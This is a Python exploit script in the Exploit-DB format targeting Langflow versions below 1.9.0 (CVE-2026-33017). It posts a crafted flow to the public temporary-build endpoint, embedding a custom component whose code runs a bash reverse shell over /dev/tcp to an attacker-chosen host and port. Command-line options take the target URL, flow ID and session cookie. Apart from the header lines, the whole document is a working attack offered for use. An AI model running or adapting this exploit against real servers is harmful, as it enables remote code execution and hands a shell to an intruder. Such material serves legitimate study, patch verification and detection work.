# Exploit Title: Langflow 1.9.0 - RCE
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.9.0
# Tested on: Debian
# CVE : CVE-2026-33017
import asyncio
import httpx
import argparse
from urllib.parse import urljoin
async def main(target, flow_id, lhost, lport, client_id):
async with httpx.AsyncClient(verify=False) as client:
data= {
"data": {
"nodes": [
{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x": 0, "y": 0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": True,
"show": True,
"multiline": True,
"value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={{}})",
"name": "code",
"password": False,
"advanced": False,
"dynamic": False
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": False,
"outputs": [
{
"types": ["Data"],
"selected": "Data",
"name": "o",
"display_name": "O",
"method": "r",
"value": "__UNDEFINED__",
"cache": True,
"allows_loop": False,
"tool_mode": False,
"hidden": None,
"required_inputs": None,
"group_outputs": False
}
],
"field_order": ["code"],
"beta": False,
"edited": False
}
}
}
],
"edges": []
},
"inputs": None
}
cookies = {"client_id":client_id}
url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow")
try:
r = await client.post(url=url, json=data, cookies=cookies)
print(f"[+] Request Request completed with status: {r.status_code}")
except httpx.ReadTimeout:
print("[+] Shell is done")
parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017")
parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.")
parser.add_argument('-p', '--lport', required=True, help="Attacker local port.")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/")
parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL")
parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').")
args = parser.parse_args()
if __name__ == '__main__':
asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))